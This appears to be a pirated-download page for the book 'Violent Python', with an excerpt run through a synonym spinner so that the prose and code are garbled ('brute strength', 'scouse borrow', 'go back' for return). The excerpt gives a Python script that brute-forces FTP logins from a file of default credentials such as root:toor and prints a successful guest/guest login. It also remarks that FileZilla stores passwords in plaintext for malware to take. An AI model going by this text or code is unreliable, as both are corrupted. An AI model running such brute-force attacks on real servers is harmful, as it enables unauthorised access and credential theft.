Read or Download Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (11-Aug-2012) Paperback PDF
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Extra resources for Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (11-Aug-2012) Paperback
179 FTP nameless Logon Succeeded. utilizing Ftplib to Brute strength FTP consumer Credentials whereas nameless entry delivers a technique to go into into platforms, attackers even have been rather winning with utilizing stolen credentials to realize entry to valid FTP servers. FTP buyer courses, equivalent to FileZilla, usually shop passwords in plaintext configuration documents (Huang, 2011). Storing passwords in cleartext in a default place permits customized malware to fast scouse borrow credentials. safeguard specialists have discovered FTP stealing credentials as contemporary malware. in addition, HD Moore even incorporated the get_filezilla_creds. rb script in a contemporary Metasploit free up permitting clients to fast experiment for FTP credentials after exploiting a aim. think a textual content dossier of a username/password blend we would have liked to brute strength via. For the aim of this script, think the username/password combos saved in a flat textual content dossier. administrator:password admin:12345 root:secret guest:guest root:toor we will now extend upon our early anonLogin() functionality to construct one referred to as bruteLogin(). This functionality will take a number and password dossier as enter and go back the credentials that permit entry to the host. become aware of the functionality iterates via each one line of the dossier, splitting every one line on the colon. The functionality then takes the username and password and makes an attempt to login to the FTP server. If it succeeds, it returns a tuple of a username, password. If it fails, it passes in the course of the exception and maintains to the subsequent line. If the functionality exhausted all strains and didn't effectively login, it returns a tuple of None,None. import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, ‘r’) for line in pF. readlines(): userName = line. split(‘:’) passWord = line. split(‘:’). strip(‘\r’). strip(‘\n’) print “[+] attempting: “+userName+”/”+passWord test: ftp = ftplib. FTP(hostname) ftp. login(userName, passWord) print ‘\n[∗] ’ + str(hostname) +\ ‘ FTP Logon Succeeded: ’+userName+“/”+passWord ftp. quit() go back (userName, passWord) other than Exception, e: move print ‘\n[-] couldn't brute strength FTP credentials. ’ go back (None, None) host = ‘192. 168. ninety five. 179’ passwdFile = ‘userpass. txt’ bruteLogin(host, passwdFile) Iterating in the course of the checklist of user/password mixtures, we eventually locate the account visitor with the password visitor works. attacker# python bruteLogin. py [+] making an attempt: administrator/password [+] attempting: admin/12345 [+] attempting: root/secret [+] making an attempt: guest/guest [∗] 192. 168. ninety five. 179 FTP Logon Succeeded: guest/guest trying to find web content at the FTP Server With credentials at the FTP server, we needs to now try out if the server additionally offers net entry. so as to try this, we'll first record the contents of the FTP server’s listing and look for default websites. The functionality returnDefault() takes an FTP connection because the enter and returns an array of default pages it unearths. It does this by means of issuing the command NLST, which lists the listing contents. The functionality assessments every one dossier lower back via NLST opposed to default website dossier names.